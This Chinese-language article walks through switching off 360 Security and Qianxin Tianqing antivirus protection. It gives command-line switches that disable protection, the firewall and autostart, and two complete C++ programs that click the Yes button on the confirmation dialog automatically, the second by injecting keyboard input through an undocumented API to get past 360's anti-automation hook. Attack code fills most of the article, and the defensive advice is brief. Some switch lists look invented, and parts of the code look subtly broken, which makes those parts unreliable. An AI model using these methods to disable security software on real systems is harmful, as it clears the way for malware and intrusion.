一种k360的方式分享
字数 1696 2025-08-22 12:22:54
360安全软件防护绕过技术分析
序言
本文详细分析了一种针对360安全软件及其企业版(奇安信天擎)的防护绕过技术,通过命令行参数和模拟用户输入的方式实现禁用防护功能。请注意,本文仅用于安全研究目的,请勿用于非法用途。
一、准备工作
1.1 目标软件命令参数
奇安信天擎 (Qianxin Tianqing) 命令参数
tianqing.exe /disablesp 1:禁用天擎的系统防护(SP),1表示禁用,0表示启用tianqing.exe /start:启动天擎防护服务tianqing.exe /stop:停止天擎防护服务tianqing.exe /status:查看当前天擎状态tianqing.exe /disable 1:禁用天擎的实时防护功能tianqing.exe /enable 1:启用天擎的实时防护功能
360安全软件 (360 Security) 命令参数
360sd.exe /disablesp 1:禁用360的系统防护,1表示禁用,0表示启用360sd.exe /start:启动360安全防护服务360sd.exe /stop:停止360的防护服务360sd.exe /update:手动更新病毒库和程序360sd.exe /uninstall:卸载360安全软件360sd.exe /scan C:\path\to\scan:扫描指定文件或目录360sd.exe /status:查询当前防护状态
360企业版命令参数
/updateall:更新所有360安全防护组件/checkstatus:检查360防护软件的当前状态/disablefirewall 1:禁用360防火墙功能,1为禁用,0为启用/enablefirewall 1:启用360防火墙功能,1为启用,0为禁用
其他常见命令
/disableautostart 1:禁用360或天擎的自启动功能/enableautostart 1:启用自启动功能/clean:执行系统清理操作,清理恶意文件和日志/report:生成安全报告(企业环境中使用)
二、技术实现分析
2.1 基本思路
- 通过逆向分析360主程序(360tray.exe)发现可利用的命令行参数
- 使用
/disablesp 1参数尝试禁用系统防护 - 处理执行命令后出现的确认对话框
2.2 逆向分析步骤
- 将360tray.exe导入IDA Pro
- 搜索关键词"disablesp"确认该指令存在
- 测试命令效果:
"C:\Program Files (x86)\360\360Safe\safemon\360tray.exe" /disablesp 1
2.3 对话框自动化处理
初始方案:标准窗口消息模拟
#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
// 回调函数,用于查找包含"是"字样的按钮
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
wchar_t className[256];
wchar_t buttonText[256];
GetClassName(hwnd, className, sizeof(className)/sizeof(wchar_t));
if(wcscmp(className, L"Button") == 0) {
GetWindowText(hwnd, buttonText, sizeof(buttonText)/sizeof(wchar_t));
if(wcsstr(buttonText, L"是")) {
std::wcout << L"找到按钮: " << buttonText << L",句柄: " << hwnd << std::endl;
SendMessage(hwnd, BM_CLICK, 0, 0);
*(bool*)lParam = true;
return FALSE;
}
}
return TRUE;
}
int main() {
const wchar_t* targetWindowName = L"360产品";
HWND targetWindow = FindWindow(NULL, targetWindowName);
if(targetWindow == NULL) {
std::wcerr << L"未找到窗口: " << targetWindowName << std::endl;
return 1;
}
std::wcout << L"找到窗口: " << targetWindowName << L",句柄: " << targetWindow << std::endl;
bool buttonClicked = false;
EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonClicked);
if(buttonClicked) {
std::wcout << L"成功点击了"是"按钮。" << std::endl;
} else {
std::wcerr << L"未找到"是"字样的按钮。" << std::endl;
}
return 0;
}
问题发现:360对旗下产品的按键做了hook处理,防止自动化点击。
改进方案:使用NtUserInjectKeyboardInput绕过
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
#include <dwmapi.h>
#include <winternl.h>
#pragma comment(lib, "Dwmapi.lib")
// 定义NtUserInjectKeyboardInput函数原型
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
typedef NTSTATUS(WINAPI* NtUserInjectKeyboardInput_t)(PKEYBOARD_INPUT_DATA, ULONG);
NtUserInjectKeyboardInput_t NtUserInjectKeyboardInput = NULL;
// 加载NtUserInjectKeyboardInput
bool LoadNtUserInjectKeyboardInput() {
HMODULE hUser32 = LoadLibrary(L"user32.dll");
if(!hUser32) {
std::wcerr << L"无法加载user32.dll" << std::endl;
return false;
}
NtUserInjectKeyboardInput = (NtUserInjectKeyboardInput_t)GetProcAddress(hUser32, "NtUserInjectKeyboardInput");
if(!NtUserInjectKeyboardInput) {
std::wcerr << L"无法找到NtUserInjectKeyboardInput函数。" << std::endl;
return false;
}
return true;
}
// 回调函数,用于查找包含"是"字样的按钮
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
wchar_t className[256];
wchar_t buttonText[256];
GetClassName(hwnd, className, sizeof(className)/sizeof(wchar_t));
if(wcscmp(className, L"Button") == 0) {
GetWindowText(hwnd, buttonText, sizeof(buttonText)/sizeof(wchar_t));
if(wcsstr(buttonText, L"是")) {
std::wcout << L"找到按钮: " << buttonText << L",句柄: " << hwnd << std::endl;
RECT rect;
if(GetWindowRect(hwnd, &rect)) {
SetCursorPos((rect.left + rect.right)/2, (rect.top + rect.bottom)/2);
std::wcout << L"鼠标已移动到按钮上方。" << std::endl;
if(NtUserInjectKeyboardInput) {
KEYBOARD_INPUT_DATA keyInput[2] = {};
// 模拟按下Enter键
keyInput[0].MakeCode = 0x1C; // Enter键的扫描码
keyInput[0].Flags = 0; // 按下
// 模拟释放Enter键
keyInput[1].MakeCode = 0x1C;
keyInput[1].Flags = 0x0001; // 松开
NTSTATUS status = NtUserInjectKeyboardInput(keyInput, 2);
if(status == 0) {
std::wcout << L"成功模拟按下Enter键。" << std::endl;
} else {
std::wcerr << L"模拟按下Enter键失败,状态码: " << status << std::endl;
}
}
*(bool*)lParam = true;
return FALSE;
} else {
std::wcerr << L"无法获取按钮位置。" << std::endl;
}
}
}
return TRUE;
}
int main() {
const wchar_t* targetWindowName = L"360产品";
if(!LoadNtUserInjectKeyboardInput()) {
return 1;
}
HWND targetWindow = FindWindow(NULL, targetWindowName);
if(targetWindow == NULL) {
std::wcerr << L"未找到窗口: " << targetWindowName << std::endl;
return 1;
}
std::wcout << L"找到窗口: " << targetWindowName << L",句柄: " << targetWindow << std::endl;
bool buttonClicked = false;
EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonClicked);
if(buttonClicked) {
std::wcout << L"成功处理了"是"按钮。" << std::endl;
} else {
std::wcerr << L"未找到"是"字样的按钮。" << std::endl;
}
return 0;
}
三、关键技术点
-
NtUserInjectKeyboardInput函数:
- 是Windows未公开的API函数
- 可以绕过杀软对标准输入模拟的检测
- 直接向系统注入键盘输入事件
-
扫描码使用:
- Enter键的扫描码为0x1C
- Flags字段:0表示按下,0x0001表示释放
-
窗口查找技术:
- 使用FindWindow查找目标窗口
- 使用EnumChildWindows枚举子窗口
- 通过GetWindowText和GetClassName识别特定按钮
四、防御建议
对于安全产品开发者,建议:
- 加强对命令行参数的保护,特别是敏感功能
- 对NtUserInjectKeyboardInput等未公开API的调用进行监控
- 增强对话框保护机制,防止自动化操作
- 实现多层次的确认机制,防止单点失效
五、总结
本文详细分析了通过命令行参数和输入模拟技术绕过360安全软件防护的方法,重点介绍了NtUserInjectKeyboardInput函数的应用。这种技术展示了安全软件可能存在的薄弱环节,对安全产品的改进具有参考价值。